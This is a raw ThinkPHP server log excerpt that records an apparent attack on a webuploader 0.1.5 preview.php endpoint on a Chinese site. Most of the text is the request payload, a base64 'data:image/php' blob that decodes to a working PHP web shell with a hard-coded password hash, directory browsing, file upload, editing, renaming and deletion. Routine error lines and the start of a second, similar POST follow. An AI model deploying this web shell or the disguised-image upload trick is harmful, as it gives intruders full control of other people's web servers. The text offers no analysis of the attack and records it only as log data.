'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'plugins', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:29+08:00 ] 119.42.146.234 POST 51tianwei.com/public/platform/js/webuploader/0.1.5/server/preview.php [运行时间:0.002700s] [吞吐率:370.39req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'platform', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 